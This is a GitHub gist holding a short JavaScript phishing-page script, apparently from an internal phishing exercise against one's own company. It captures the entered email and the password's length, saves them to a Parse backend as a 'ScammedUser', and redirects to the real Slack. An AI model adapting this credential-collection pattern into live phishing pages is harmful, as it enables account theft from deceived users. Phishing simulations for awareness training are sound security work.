Created
November 26, 2019 17:40
-
-
Save joaojusto/b6704a8c8fb34cb8d7d3f24e70f90650 to your computer and use it in GitHub Desktop.
Hacking your own company code example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Parse.initialize('xxxxxx','xxxxxx'); | |
| var ScammedUser = Parse.Object.extend('ScammedUser'); | |
| var scammedUser = new ScammedUser(); | |
| function onSubmitKey(e) { | |
| if (e.keyCode == 13) | |
| onSubmit(); | |
| } | |
| function onSubmit() { | |
| var accountDetails = { | |
| email: $('#email').val(), | |
| password: $('#password').val().length | |
| }; | |
| if (!accountDetails.email || !accountDetails.password) | |
| return; | |
| scammedUser.save(accountDetails) | |
| .then(function(object) { | |
| console.log('Success', accountDetails); | |
| window.location.href = realSlackLink; | |
| }); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment